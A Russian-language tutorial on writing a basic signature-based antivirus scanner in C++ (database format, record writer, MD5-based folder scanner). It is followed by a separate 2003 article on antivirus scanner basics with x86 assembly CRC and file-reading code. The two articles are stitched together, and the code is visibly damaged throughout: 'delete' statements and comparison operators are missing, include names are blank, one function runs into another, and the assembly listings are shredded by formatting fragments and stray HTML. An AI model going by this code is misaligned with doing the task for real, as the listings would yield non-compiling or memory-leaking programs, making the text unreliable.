Именно в таком виде одна за другой в файле будут лежать записи для всех известных сканеру зловредах.

Помимо самих записей в файле базы должен быть заголовок, в котором будет содержаться число записей в базе и сигнатура файла «AVB» (не антивирусная :) ). Назначение сигнатуры – удостоверится, что это именно файл базы.

Таким образом файл базы будет иметь структуру вида:

[Sign * 3 ]

[RecordCount * 4 ]

[Records]

Переходим к написанию кода.

Реализация

Базовые структуры

Структур не много, всего 2.

Данные структуры будут использоваться как сканером, так и программой создания антивирусной базы.

Во-первых, необходимо объявить все нужные нам структуры.

Первой структурой будет структура сигнатуры SAVSignature.

Следующей структурой будет структура записи SAVRecord, объединяющая сигнатуру с именем.

Данная структура для удобства также содержит функцию выделения памяти под имя зловреда (allocName).

Все структуры будут находиться в заголовочном файле avrecord.h

Листинг : Базовые структуры

———————————————————————————————————

#ifndef _AVRECORD_H__INCLUDED_

#define _AVRECORD_H__INCLUDED_

#include 

//! Структура сигнатуры

typedef struct SAVSignature{

SAVSignature(){

this->Offset = 0;

this->Lenght = 0;

memset(this->Hash, 0, sizeof(this->Hash));

}

DWORD Offset; // — Смещение файле

DWORD Hash[4]; // — MD5 хэш

DWORD Lenght; // — Размер данных

} * PSAVSignature;

//! Структура записи о зловреде

typedef struct SAVRecord{

SAVRecord(){

this->Name = NULL;

this->NameLen = 0;

}

~SAVRecord(){

if(this->Name != NULL) this->Name;

}

//! Выделение памяти под имя

void allocName(BYTE NameLen){

if(this->Name == NULL){

this->NameLen = NameLen;

this->Name = new CHAR[this->NameLen + 1];

memset(this->Name, 0, this->NameLen + 1);

}

}

PSTR Name; // — Имя

BYTE NameLen; // — Размер имени

SAVSignature Signature; // — Сигнатура

} * PSAVRecord;

#endif

——————————————————————————————————-

Класс работы с файлом базы

Теперь необходимо написать класс для работы с файлом антивирусной базы.

Если точнее, то классов будет несколько:

— Базовый класс файла «CAVBFile»

— Класс чтения файла «CAVBFileReader»

— Класс добавления записи «CAVBFileWriter»

Объявления всех этих классов находятся в файле CAVBFile.h

Вот его содержимое:

Листинг : Объявления классов работы с файлом базы

———————————————————————————————————

#ifndef _AVBFILE_H__INCLUDED_

#define _AVBFILE_H__INCLUDED_

#include 

#include 

#include «avrecord.h»

using namespace std;

/* Формат файла антивирусной базы

[AVB] // — Сигнатура

[RecordCount * 4 ] // — Число записей

[Records … ]

Record:

[Offset * 4 ] // — Смещение

[Lenght * 4 ] // — Размер

[Hash * 16 ] // — Контрольная сумма

[NameLen * 1 ] // — Размер имени

[Name … ] // — Имя зловреда

*/

//! Класс Файла антивирусной базы

typedef class CAVBFile{

protected:

fstream hFile; // — Объект потока файла

DWORD RecordCount; // — Число записей

public:

CAVBFile();

//! Закрытие файла

virtual void close();

//! Проверка состояния файла

virtual bool is_open();

//! Получение числа записей

virtual DWORD getRecordCount();

} * PCAVBFile;

//! Класс для записи файла

typedef class CAVBFileWriter : public CAVBFile{

public:

CAVBFileWriter() : CAVBFile(){

}

//! Открытие файла

bool open(PCSTR FileName);

//! Добавление записи в файл 

bool addRecord(PSAVRecord Record);

} * PCAVBFileWriter;

//! Класс для чтения файла

typedef class CAVBFileReader : public CAVBFile{

public:

CAVBFileReader() : CAVBFile(){

}

//! Открытие файла

bool open(PCSTR FileName);

//! Чтение записи

bool readNextRecord(PSAVRecord Record);

} * PCAVBFileReader;

#endif

———————————————————————————————————

Теперь перейдем к реализации объявленных классов.

Их реализация будет находиться в файле AVBFile.cpp

Естественно, помним, что необходимо подключить заголовочный файл AVBFile.h

В некоторых функциях нам понадобится проверка существования файла, поэтому сначала напишем именно её.

Листинг : Функция проверки существования файла

———————————————————————————————————

//! Проверка существования файла

bool isFileExist(PCSTR FileName){

return GetFileAttributesA(FileName) != DWORD(-1);

};

———————————————————————————————————

Данный способ проверки существования файла является самым быстрым и используется в большинстве примеров в MSDN, так что его можно считать стандартом для Windows.

Функция GetFileAttributes возвращает атрибуты файла или 0xffffffff в случае, если файл не найден.

Переходим к реализации функций базового класса.

Листинг : Реализация CAVBFile

———————————————————————————————————-

CAVBFile::CAVBFile(){

this->RecordCount = 0;

}

//! Закрытие файла

void CAVBFile::close(){

if(hFile.is_open()) hFile.close();

}

//! Проверка состояния файла

bool CAVBFile::is_open(){

return hFile.is_open();

}

//! Получение числа файлов

DWORD CAVBFile::getRecordCount(){

return this->RecordCount;

}

———————————————————————————————————-

Здесь всё просто и в комментариях не нуждается.

Теперь реализуем функции класса для записи файла

Листинг : Реализация CAVBFileWriter

———————————————————————————————————-

// 

// — CAVBFileWriter

// 

//! Открытие файла

bool CAVBFileWriter::open(PCSTR FileName){

if(FileName == NULL) return false;

// — Если файл не найден то создаем его прототип

if(!isFileExist(FileName)){

hFile.open(FileName, ios::out | ios::binary);

if(!hFile.is_open()) return false;

hFile.write(«AVB», 3); // — Сигнатура файла

hFile.write((PCSTR)&this->RecordCount, sizeof(DWORD)); // — Число записей

// — Иначе открываем и проверяем валидность

}else{

hFile.open(FileName, ios::in | ios::out | ios::binary);

if(!hFile.is_open()) return false;

// — Проверка сигнатуры

CHAR Sign[3];

hFile.read((PSTR)Sign, 3);

if(memcmp(Sign, «AVB», 3)){

hFile.close(); // — Это чужой файл

return false;

}

// — Читаем число записей

hFile.read((PSTR)&this->RecordCount, sizeof(DWORD));

}

return true;

}

bool CAVBFileWriter::addRecord(PSAVRecord Record){

if(Record == NULL || !hFile.is_open()) return false;

// — Перемещаемся в конец файла

hFile.seekp(0, ios::end);

// — Добавляем запись

hFile.write((PSTR)&Record->Signature.Offset, sizeof(DWORD)); // — Смещение сигнатуры

hFile.write((PSTR)&Record->Signature.Lenght, sizeof(DWORD)); // — Размер сигнатуры

hFile.write((PSTR)&Record->Signature.Hash, 4 * sizeof(DWORD)); // — Контрольная сумма

hFile.write((PSTR)&Record->NameLen, sizeof(BYTE)); // — Размер имени

hFile.write((PSTR)Record->Name, Record->NameLen); // — Имя

// — Смещаемся к числу записей

hFile.seekp(3, ios::beg);

// — Увеличиваем счётчик записей

this->RecordCount++;

hFile.write((PSTR)&this->RecordCount, sizeof(DWORD));

return true;

}

———————————————————————————————————-

При открытии файла, если файл не найден, создается новый файл и в него записывается заголовок файла (сигнатура и число записей).

Если же файл существует, то происходит проверка сигнатуры файла и чтение числа записей.

Функция addRecord в качестве параметра принимает ссылку на структуру добавляемой записи.

Сначала происходит перемещение в конец файла (новый записи дописываются в конец файла).

Затем происходит запись данных в файл согласно оговорённому выше формату.

После записи происходит увеличение счётчика записей.

Класс чтения записей немного проще.

Листинг : Реализация CAVBFileReader

———————————————————————————————————

// 

// — CAVBFileReader

// 

bool CAVBFileReader::open(PCSTR FileName){

if(FileName == NULL) return false;

// — Если файл не найден, то создаем его прототип

if(isFileExist(FileName)){

hFile.open(FileName, ios::in | ios::out | ios::binary);

if(!hFile.is_open()) return false;

// — Проверка сигнатуры

CHAR Sign[3];

hFile.read((PSTR)Sign, 3);

if(memcmp(Sign, «AVB», 3)){

hFile.close(); // — Это чужой файл

return false;

}

// — Читаем число записей

hFile.read((PSTR)&this->RecordCount, sizeof(DWORD));

}else{ return false; }

return true;

}

bool CAVBFileReader::readNextRecord(PSAVRecord Record){

if(Record == NULL || !hFile.is_open()) return false;

hFile.read((PSTR)&Record->Signature.Offset, sizeof(DWORD)); // — Смещение сигнатуры

hFile.read((PSTR)&Record->Signature.Lenght, sizeof(DWORD)); // — Размер сигнатуры

hFile.read((PSTR)&Record->Signature.Hash, 4 * sizeof(DWORD)); // — Контрольная сумма

hFile.read((PSTR)&Record->NameLen, sizeof(BYTE)); // — Размер имени

Record->allocName(Record->NameLen);

hFile.read((PSTR)Record->Name, Record->NameLen); // — Имя

return true;

}

———————————————————————————————————

В данном случае если при попытке открытия файла выясняется, что файл не существует, функция вернет значение false, свидетельствующее об ошибке.

Чтение записей происходит последовательно и обеспечивается функцией readNextRecord, которая в качестве параметра принимает ссылку на структуру записи, в которую будут прочитаны данные из файла.

На этом написание общего кода закончено.

Пора переходить к реализации программы создания записей и сканера.

Реализация программы для создания базы

Как было выяснено выше, сканнер без сигнатур не имеет смысла. Именно поэтому первым делом будет реализована программа для создания базы.

В качестве параметров программа будет принимать путь до файла зловреда, путь до файла базы, смещение последовательности в файле зловреда, размер последовательности и, наконец, имя зловреда.

Аргументы передаются формате -A[Value], где A – это соответствующий ключ, а Value – значение.

Обозначим все аргументы:

-s = Путь до файла зловреда

-d = Путь до файла базы

-o = Смещение последовательности

-l = Размер последовательности

-n = Имя файла

Алгоритм работы программы следующий:

1. Открыть файл зловреда

2. Перейти по указанному смещению

3. Расчитать MD5-хэш последовательности байт

4. Добавить запись в базу

Реализация алгоритма здесь приводится не будет, т.к. не относится к теме статьи, но её можно найти в файле md5hash.cpp

Здесь же мы просто объявим соответствующую функцию getMD5, которая принимает указатель на данные, их размер и указатель на буфер из 16 байт, куда будет записан хэш.

Код программы находится в файле avrec.cpp

Сначала подключим все необходимые заголовочные файлы и объявим функцию подсчёта MD5, а также напишем вспомогательную функцию, которая понадобится при разборе аргументов программы.

Листинг : Заголовок

———————————————————————————————————-

// — Необходимые включения

#include 

#include 

#include 

#include 

#include 

#include 

using namespace std;

//! Копирование аргумента

bool copyArg(PCSTR Arg, DWORD Offset, PSTR Buffer, DWORD Size){

int ArgLen = strlen(Arg) — Offset;

if(ArgLen > Size — 1 || ArgLen Can’t open source file. Stop.» << endl;

return 0;

}

// — Чтение данных для расчёта контрольной суммы

PBYTE Buffer = new BYTE[Record.Signature.Lenght];

if(Buffer == NULL){

cout << «> Can’t alloc memory for sign data. Stop.» << endl;

hSrcFile.close();

return 0;

}

hSrcFile.seekg(Record.Signature.Offset, ios::beg);

hSrcFile.read((PSTR)Buffer, Record.Signature.Lenght);

// — Закрытие исходного файла

hSrcFile.close();

// — Расчёт хэша сигнатуры

getMD5(Buffer, Record.Signature.Lenght, Record.Signature.Hash);

// — Очистка буффера

Buffer;

———————————————————————————————————

Сначала открываем файл, затем переходим к указанному смещению и вычисляем хэш.

Всё просто.

И наконец, добавляем запись в файл базы, попутно выводя информацию в консоль.

Для добавления используется класс CAVBFileWriter.

Листинг : Добавление записи в базу

———————————————————————————————————-

// —

// — Добавление сигнатуры

cout << «Record info:» << endl;

printf( » Name: %sn», Record.Name);

printf( » Offset: 0x%x (%d)n», Record.Signature.Offset, Record.Signature.Offset);

printf( » Lenght: 0x%x (%d)n», Record.Signature.Lenght, Record.Signature.Lenght);

printf( » CheckSumm: 0x%x%x%x%xn», Record.Signature.Hash[0], Record.Signature.Hash[1], Record.Signature.Hash[2], Record.Signature.Hash[3]);

CAVBFileWriter hAVBFile;

hAVBFile.open(DstFile);

if(!hAVBFile.is_open()){

cout << «> Can’t open database file. Stop.» << endl;

return 0;

}

hAVBFile.addRecord(&Record);

hAVBFile.close();

cout << «Record added.» << endl;

return 0;

———————————————————————————————————-

На этом всё, программа готова. Можно компилировать :)

А пока она компилируется, переходим к написанию самого сканера!

Реализация сканера

Наконец-то добрались и до главной цели — сканера.

Сканер пока будет просто проверять является ли файл вредоносным, или нет.

Лечение, удаление, карантин оставим на потом.

Файл с базой должен находиться в одной папке со сканером и называться avbase.avb

Программа принимает один-единственный параметр — путь до папки, в которой необходимо провести проверку.

Кода в сканере будет немного больше, но в целом всё так же просто.

Алгоритм работы следующий:

1. Загрузка файла базы

2. Получение списка файлов в указанной папке

3. Если это файл — проверяем. Если папка — рекурсивно переходим к пункту 2.

Загрузка файла базы будет происходить в специальную структуру SAVRecordCollection, которую мы объявим, несмотря на то, что можно было использовать стандартный vector или другой контейнер.

Проверка файла сводится к простому перебору всех сигнатур.

Если сигнатура присутствует, то сообщаем, что файл злой, в противном случае сообщаем, что всё хорошо.

А теперь ближе к коду :)

Листинг : Заголовок

———————————————————————————————————-

#include 

#include 

#include 

#include 

#include 

#include 

using namespace std;

//! Коллекция записей

typedef struct SAVRecordCollection{

SAVRecordCollection(DWORD RecordCount){

this->RecordCount = RecordCount;

this->Record = new SAVRecord[this->RecordCount];

}

~SAVRecordCollection(){

[] this->Record;

}

DWORD RecordCount;

PSAVRecord Record;

} * PSAVRecordCollection;

// — Коллекция записей

PSAVRecordCollection AVRCollection = NULL;

void processPath(PCSTR Path);

void getMD5(const void* pData, size_t nDataSize, PDWORD RetHash); ———————————————————————————————————

функция processPath будет рассмотрена ниже.

Итак, вначале стандартный разбор аргументов, а также получение пути для

Листинг : Разбор аргументов

———————————————————————————————————

if(argc 0){

// — Создание коллекции

AVRCollection = new SAVRecordCollection(hAVBFile.getRecordCount());

for(DWORD RecID = 0; RecID RecordCount; RecID++){

if(!hAVBFile.readNextRecord(&AVRCollection->Record[RecID])){

cout << «> Error loading record #» << RecID << endl;

}

}

hAVBFile.close();

}else{

hAVBFile.close();

cout << «> Empty AV Base. Stop.» << endl;

return 0;

}

cout << «t» << AVRCollection->RecordCount << » records loaded.» << endl;

// 

cout << endl;

cout << «Starting scan for viruses» << endl;

cout << endl;

processPath(SrcPath);

———————————————————————————————————-

Открываем файл, выделяем память под записи, после чего читаем в них информацию из файла.

Если всё прошло хорошо, то будет вызвана функция processPath, которая выполняет рекурсивную проверку по указанному пути.

Вот так выглядит эта функция:

Листинг : Функция проверки папки

———————————————————————————————————-

void processPath(PCSTR Path){

string SrcPath = Path;

string File;

File = Path;

File += «*.*»;

WIN32_FIND_DATAA FindData; 

HANDLE hFind = FindFirstFileA(File.c_str(), &FindData);

do{

// — Пропускаем папки . и ..

if(!strcmp(FindData.cFileName, «.») || !strcmp(FindData.cFileName, «..»)) continue;

File = Path;

File += «»;

File += FindData.cFileName;

// — Если папка, то сканируем рекурсивно

if((FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)){

processPath(File.c_str());

// — Иначе проверяем на вирусы

}else{

checkFile(File.c_str());

}

} while(FindNextFileA(hFind, &FindData));

}

———————————————————————————————————-

Получаем список файлов и папок (за исключением папок «.» и «..»), при этом если нам попалась папка, то проводим рекурсивный просмотр, а если файл, проверяем его функцией checkFile.

Ниже приведён листинг функции checkFile

Листинг : Функция проверки файла

———————————————————————————————————-

void checkFile(PCSTR FileName){

cout << FileName << «t»;

// — Открываем файл

HANDLE hFile = CreateFileA(FileName, FILE_READ_ACCESS, NULL, NULL, OPEN_EXISTING, NULL, NULL);

if(hFile == INVALID_HANDLE_VALUE){

cout << «Error» << endl;

return;

}

// — Получаем размер файла

DWORD FileSize = GetFileSize(hFile, NULL);

// — Отображаем файл в память

HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, NULL, FileSize, NULL);

if(hFile == INVALID_HANDLE_VALUE){

cout << «Error» << endl;

CloseHandle(hFile);

return;

}

LPVOID File = MapViewOfFile(hMap, FILE_MAP_READ, NULL, NULL, FileSize);

if(File == NULL){

cout << «Error» << endl;

CloseHandle(hMap);

CloseHandle(hFile);

return;

}

// — Поиск по сигнатурам

bool Detected = false;

for(DWORD RecID = 0; RecID RecordCount; RecID++){

PSAVRecord Record = &AVRCollection->Record[RecID];

// — Если файл слишком маленький, то пропускам запись

if(FileSize Signature.Offset + Record->Signature.Lenght)) continue;

// — Переходим вычисляем контрольную сумму для сигнатуры

DWORD Hash[4];

getMD5((PBYTE)((DWORD)File + Record->Signature.Offset), Record->Signature.Lenght, Hash);

// — Детектим

if(!memcmp(Hash, Record->Signature.Hash, 4 * sizeof(DWORD))){

cout << » DETECTEDt» << Record->Name << endl;

Detected = true;

break;

}

}

UnmapViewOfFile(File);

CloseHandle(hMap);

CloseHandle(hFile);

if(!Detected) cout << «OK» << endl;

}

———————————————————————————————————-

Рассмотрим её подробнее.

Во-первых, в функции вместо чтения файла использовано отображение файла в память, при котором файл помещается в адресное пространство процесса, и для доступа к файлу не требует производить операции чтения или записи. Доступ осуществляется, как к обычному массиву.

Данный подход выбран по той причине, что при проверке сигнатур требуется постоянно перемещаться по файлу согласно смещению сигнатуры.

Перемещение по массиву намного быстрее перемещения по файлу. Также для расчёта хэша достаточно просто передать указатель на начало последовательности.

При стандартном подходе потребовалось бы каждый раз считывать информацию из файла, что не только медленно, но и просто неудобно.

Функция MapViewOfFile возвращает адрес, начиная с которого отображен файл.

Этот адрес и является началом файла, или если представить файл как массив, то данный адрес будет началом массива.

Поиск сигнатуры выполняется следующим образом:

В цикле перебираются все записи из коллекции.

Если для записи сумма смещения сигнатуры и её размера меньше, чем размер файла (т.е. сигнатура помещается в файл), то производится хэширование последовательности данных.

После этого производится сравнение полученного хэша с хэшем из сигнатуры.

Если они совпадают, то это значит, что файл известен как опасный (или ложное срабатывание =) )

Осталось только скомпилировать и протестировать.

Листинг : Добавление записи

———————————————————————————————————-

avrec.exe -sVirus.vbs -davbase.avb -o253 -l280 -nVirus.VBS.Baby

———————————————————————————————————-

Основы разработки антивирусного сканера

Дата публикации 24 дек 2003

Основы разработки антивирусного сканера — Архив WASM.RU

Содержание

  1. Введение
  2. Простейшие типы вирусов
  3. Методы детектирования
  4. Контрольные суммы и технология их расчета
  5. Использование контрольных сумм для детектирования вирусов
  6. Алгоритм поиска файлов
  7. Основы построения вирусной базы
  8. Основы работы с вирусной базой
  9. Заметки по лечению вирусов
  10. Заключение

1. Введение

 В этой статье речь пойдет о разработке
примитивного антивирусного программного обеспечения, точнее сказать
антивирусного сканера.

 Сканнерами называют программы, которые
проверяют файлы на предмет зараженности их известными программе вирусами.

 Прочитав эту статью, я не гарантирую, того, что вы в тот же момент
станете умнейшим вирусным аналитиком, эта область программирования достаточно
необычна и тяжела для понимания. Сталкиваясь с ней (областью) «вплотную» в
первый раз очень тяжело сразу «взять быка за рога». Но в этой статье я
попытаюсь изложить основы, так что вполне возможно, то, что будет описано ниже
вы, уже знали.

 Прежде чем читать статью, необходимо удостовериться, что ваш
уровень знаний ассемблера не ограничивается умением писать красивые интерфейсы
и менюшки, в антивирусных программах это не главное. Конечно без удобного
(дружелюбного) интерфейса ваша разработка не будет востребована. Но все же,
необходимо иметь некоторые понятия о:

  • Контрольные суммы участков данных, что
    это такое и примерный алгоритм расчета
  • Вирусы и троянские кони в бинарных
    файлах
    (исполняемых файлах), а так же написанные на
    скриптовых языках (VBS, JavaScript)
  • Методы работы с файлами (поиск, запись, чтение и тд)

2. Простейшие вирусы

 Вирус – программа очень маленьких размеров, основной задачей которой
является распространение по компьютерам пользователей, за счет различных хитрых
алгоритмов и ошибок пользователей.

 Вирусы это очень сложные программы, их можно
разделить на множество видов, но мы ограничимся всего двумя. Разделим вирусы на
простейшие и файловые вирусы. Файловые вирусы это те,
которые умеют заражать файлы различных форматов (загрузочные – PE, документы, файлы
помощи и еще множество других), обычно эти вирусы написаны на языке ассемблера,
и для их обнаружения необходимо очень хорошо знать структуру файлов, которые
они поражают. Под понятием простейших вирусов я подразумеваю различных червей
и сюда же можно приписать троянских коней.

 Файловый вирус – вирус, который
распространяется через зараженные файлы различных форматов, обычно исполняемых.
Т.е. кто-то кому-то передал программу, один из исполняемых файлов которой был
заражен вирусом.

 Червь – вирус, который
распространяется самостоятельно (не поражая какие либо файлы), обычно через
глобальные сети, путем рассылки себя в письмах; авторами червей часто являются
хакеры и для своего распространения черви используют различные дырки в
операционных системах.

 Троянские кони – программы, у которых
отсутствуют функции самостоятельного распространения (т.е. они распространяются
различными людьми специально), но обязательно присутствуют различные
деструктивные функции.

 Деструкция – алгоритм, причиняющий
вред компьютеру и пользователи, иногда не только моральный, но и материальный.
Деструктивные алгоритмы часто используются в вирусах и всегда используются в
троянских конях.

 Деструкция в троянских конях – это
алгоритмы, которые могут совершать различные пакости, начиная от форматирования
жесткого диска или перезаписи flashbios и заканчивая
воровством «важных» файлов (паролей для доступа в интернет) с компьютера
пользователя.

 3.
Методы детектирования

 Главное, что черви и троянские кони не умеют
заражать другие файлы, по этому всегда распространяются в одном и том же виде.
Т.е. в виде не изменяющегося файла. Допустим, у нас имеется файл с
вирусом-червем, который занимает 10 килобайт. Червь распространяется в виде
исполняемого файла PortableExecutable. Нам необходимо написать программу антивирус против этого червя.

  • Программа будет искать PE-файлы в указанном каталоге
  • Каждый найденный файл размером 10 килобайт и больше будет открываться
  • Первые 10кб будут считываться, и сверяться с теми, которые были
    взяты из «тела» вируса
  • Если содержимое будет совпадать, то значит перед нами червь и
    нужно его вылечить

 Мы
составили примитивный алгоритм детектирования вируса червя. Теперь допустим, таким
способом ваша программа опознает, и лечит 100 вирусов. В качестве сигнатуры
(данных, по которым определяется зараженность объекта тем или иным вирусом)
используется полный вирусный код, допустим для каждого вируса по 10 кб. В
результате вирусная база (база данных программы содержащая алгоритмы по
детектированию и лечению вирусов) программы будет занимать 1 мегабайт, а это
очень много. Крупнейшие антивирусные программы детектируют несколько десятков
тысяч самых разнообразных вирусов, и их вирусные базы занимают всего несколько
мегабайт.

 Детектирование (обнаружение) вирусов, не изменяющих своей
структуры, является примитивнейшим занятием. И так сигнатура для
детектирования вирусов может занимать всего 3 двойных слова, т.е. 12 байт и
быть очень надежной, если использовать контрольные суммы

4. Контрольные суммы и технология их
расчета

 Контрольная сумма это 32
битное число (очень редко 16 битное), которое характеризует определенный
участок кода. Есть множество способов подсчета контрольной суммы, для лучшего
восприятия этого термина рассмотрим пример примитивнейшего подсчета:

 Например, у нас есть участок кода, состоящий
из 5 байт (десятичная система): 001 004 000 005 100

 По нашему примитивному подсчету, контрольная сумма его будет
равняться 1+4+0+5+100=110. Т.е. прочитав контрольную сумму другого участка, мы
получим другое значение. Однако, используя столь примитивный алгоритм расчета,
контрольные суммы совершенно отличающихся участков могут совпадать, для этого
используются более продвинутые процедуры подсчета.

Код (Text):
  1.   ————————
  2.   ; подсчет контрольной суммы участка кода “sbuf”, длины “dlen”
  3.   ; после подсчетов контрольная сумма будет
  4.   «положена» в “crc_buf”
Код (Text):
  1.   <u>calculate_crc</u>
Код (Text):
  1.   proc  crc_buf: dword, sbuf:
  2.   dword, dlen: dword
Код (Text):
  1.   push  eax ecx edx ebx esi edi
  2.   cld
  3.   mov  esi,sbuf
  4.   mov  edi,dlen
  5.   mov  ecx,-1
  6.   mov  edx,ecx
Код (Text):
  1.   next_byte:
Код (Text):
  1.   sub    eax,eax
  2.   sub    ebx,ebx
  3.   lodsb
  4.   xor    al,cl
  5.   mov  cl,ch
  6.   mov  ch,dl
  7.   mov  dl,dh
  8.   mov  dh,8
Код (Text):
  1.   next_bit:
Код (Text):
  1.   shr    ebx,1
  2.   rcr     eax,1
  3.   jnc    no_carry
  4.   xor    eax,8320h
  5.   xor    ebx,0edb8h
Код (Text):
  1.   no_carry:
Код (Text):
  1.   dec   dh
  2.   jnz    next_bit
  3.   xor    ecx,eax
  4.   sub    edx,ebx
  5.   dec    edi
  6.   jnz    next_byte
  7.   not    edx
  8.   not    ecx
  9.   mov   eax,edx
  10.   ror    eax,cl
  11.   add   eax,ecx
  12.   mov  edi,crc_buf
  13.   mov  word ptr [edi],dx
  14.   mov   word ptr [edi+2],cx
  15.   pop   edi esi ebx edx ecx eax
  16.   ret
Код (Text):
  1.   <b><u>endp</u></b>

 Комментарии к алгоритму расчета контрольной суммы (crc) отсутствуют потому,
что достаточно понимать смысл подсчета crc, стандарта подсчета не существует, а описывать
операции, производимые в этой процедуре достаточно тяжело и бессмысленно. Со
временем будет появляться опыт в подобных вещах и если будет необходимо, то вы
и сами разберетесь в коде.

5. Использование контрольных сумм для
детектирования вирусов

 Если необходимо подсчитать
контрольную сумму участка в несколько килобайт, то это конечно не мгновенная
процедура. Если считать контрольную сумму каждого найденного файла то процесс
проверки не будет проходить так быстро как хотелось бы.

 Возьмем в качестве примера
вирус BAT.Sys.602, распространяющийся в виде файла BAT, написанного на примитивном языке Batch, входящим в комплект
операционной системы DOS. Внешне вирус-червь представляет собой обычный текст.

 Для опознавания наличия этого
вируса в BAT-файлах
совсем не обязательно считать контрольную сумму всего вирусного кода, достаточно
взять участок кода, состоящий из нескольких строк. Так же просто необходимо
запомнить их расположение в вирусном файле и длину этих строк (всех вместе).
Допустим, нам приглянулись строки 4 и 5.

 Как мы видим, строка 4
начинается в файле со смещения 75 (4Bhex) и заканчивается
150 (96 hex).
Т.е. размер двух строк составляет 75 байт.

 Но брать в качестве сигнатуры
определенные строки не совсем обязательно, можно взять любой кусок кода, размер
желательно до 100 байт, что бы время на расчет контрольной суммы затрачивалось
минимальное.

 Вашему вниманию предлагается
пример программы, которая считает контрольную сумму участка кода выбранного
выше (смещение 75, длина 75 байт)  в
файле ‘sys.bat’ …

Код (Text):
  1.   ; компилировать: tasm32 –ml getcrc32.asm
  2.   ;                             tlink32 -Tpe -c -x getcrc32.obj,,, import32
  3.   ;
  4.   .386P
  5.   .model flat, stdcall
Код (Text):
  1.   extrn
  2.   extrn
  3.   extrn
  4.   extrn
  5.   extrn
  6.   extrn
  7.   <b><u>include</u></b>
  8.   FILE_BEGIN
  9.   OPEN_EXISTING
  10.   GENERIC_READ
Код (Text):
  1.   ExitProcess:near
  2.   ReadFile:near
  3.   CreateFileA:near
  4.   CloseHandle:near
  5.   GetFileSize:near
  6.   SetFilePointer:near
  7.   <b><u>crc_proc.inc</u></b>
  8.   equ 0
  9.   equ 3
  10.   equ 80000000h
Код (Text):
  1.   ; список API использующихся программой
  2.   ; здесь находится вышеуказанная процедура
  3.   ; подсчета контрольной суммы
  4.   ; для перевода указателя
  5.   ; открыть файл уже существующий
  6.   ; чтение данных из файла
Код (Text):
  1.   ENTRY_SIZE
Код (Text):
  1.   equ 1+260+4+318
Код (Text):
  1.   ; размер одной ячейки для процесса поиска
Код (Text):
  1.   .data
Код (Text):
  1.   ; сегмент данных
Код (Text):
  1.   number
  2.   handle
  3.   crc32_buf
  4.   crc32_code_loc
  5.   crc32_code_len
  6.   file_name
  7.   buffer
Код (Text):
  1.   dd ?
  2.   dd ?
  3.   dd ?
  4.   dd 75
  5.   dd 75
  6.   db ‘sys.bat’,0
  7.   db 1000 dup (?)
Код (Text):
  1.   ; файловый номер
  2.   ; для хранения посчитанной crc участка кода
  3.   ; местоположение участка кода в файле
  4.   ; длина участка кода
  5.   ; файл с которым будем работать
  6.   ; буфер для хранения участка кода
Код (Text):
  1.   .code
Код (Text):
  1.   ; сегмент кода
Код (Text):
  1.   <b><u>start</u></b>:
Код (Text):
  1.   push  0 0
  2.   push  OPEN_EXISTING
  3.   push  0 0
  4.   push  GENERIC_READ
  5.   push  offset file_name
  6.   call    <b>CreateFileA</b>
  7.   cmp   eax,-1
  8.   jnz     read_file
Код (Text):
  1.   ; откроем существующий файл ‘sys.bat’
  2.   ; для чтения
  3.   ; если все прошло успешно, продолжим
Код (Text):
  1.   error_opening:
  2.   </td>
  3.   <td width=252 valign=top>
  4.   <code><pre>
  5.   ———————————————
  6.   jmp   exit
Код (Text):
  1.   ; «обработчик» ошибки открытия файла
Код (Text):
  1.   read_file:
Код (Text):
  1.   mov   handle,eax
  2.   push  0 eax
  3.   call    <b>GetFileSize</b>
  4.   mov   ecx,dword ptr [crc32_code_loc]
  5.   add    ecx,dword ptr [crc32_code_len]
  6.   cmp   ecx,eax
  7.   jle      set_pointer
  8.   push   handle
  9.   call    <b>CloseHandle</b>
  10.   jmp    exit
Код (Text):
  1.   ; сохраним <i>файловый номер</i> в “handle”
  2.   ; eax – размер открытого файла в байтах
  3.   ; ecx – расположение участка в файле
  4.   ; ecx – смещение на конец участка
  5.   ; если смещение на конец участка меньше
  6.   ; чем размер файла, значит файл подходит
  7.   ; иначе не тот файл
  8.   ; закроем файл
  9.   ; выйдем в ОС
Код (Text):
  1.   set_pointer:
Код (Text):
  1.   push   FILE_BEGIN
  2.   push   0
  3.   push   crc32_code_loc
  4.   push   handle
  5.   call     <b>SetFilePointer</b>
Код (Text):
  1.   ; установим указатель на расположение
  2.   ; необходимого участка в файле
Код (Text):
  1.   push   0
  2.   push   offset number
  3.   push   crc32_code_len
  4.   push   offset buffer
  5.   push   handle
  6.   call     <b>ReadFile</b>
  7.   push   handle
  8.   call     <b>CloseHandle</b>
; прочитаем в “buffer” данные размером
; “crc32_code_len” изфайла

; закроемфайл

Код (Text):
  1.   push   crc32_code_len
  2.   push   offset buffer
  3.   push   offset crc32_buf
  4.   call     calculate_crc
Код (Text):
  1.   ; длина участка crc которого нужно посчитать
  2.   ; размещение данных участка
  3.   ; куда «положить» посчитанную crc
  4.   ; считаем crc участка
Код (Text):
  1.   exit:
  2.   </td>
  3.   <td width=252 valign=top>
  4.   <code><pre>
  5.   push   0
  6.   call     <b>ExitProcess</b>
  7.   end      <b><u>start</u></b>
Код (Text):
  1.   ; выйдем в ОС

6. Алгоритм поиска файлов

 Как вы
уже, наверное, знаете для поиска файлов? используются API: FindFirstFile, FindNextFile, FindClose.

 ПараметрамиFindFirstFile является
маска для поиска и «место» под структуру для поиска (объявленную
структуру официального типа или буфер, размер которого не меньше размера
официальной структуры). Маской для поиска является обычная строка,
содержащая путь к каталогу, в котором будет производиться поиск, а так же маску
поиска (обычно используется “*.*”).

 Вид официальной структуры для поиска:

  1.   <b>время создания файла</b>
  2.   <b>время доступа к файлу</b>
  3.   <b>время модификации файла</b>
  4.   <b>короткое имя файла</b>

 Можно объявлять эту структуру, а можно
использовать эквивалент “findbuf
db 314 dup (?)”. Немного
разбираясь в программировании можно догадаться, что имя найденного файла будет
находиться по смещению 44 от начала findbuf.Используем “movesi,offsetfindbuf + 44” и регистр esi указывает на имя найденного файла или каталога.

 После выполнения API FindFirstFile, регистр eax будет содержать идентификатор
поиска
или в случае ошибки –1.

 Вызов FindFirstFile используется только один раз,
далее в дело вступает FindNextFile. Параметрами этой апи являются идентификатор поиска (который мы
получили от вызова FindFirstFile и должны были сохранить) и та же структура для поиска (которая
так же использовалась при первом поиске). Поиск ведется до тех пор, пока
регистр eax не будет равняться нулю.

 Эти API ищут файлы или каталоги по маске поиска,
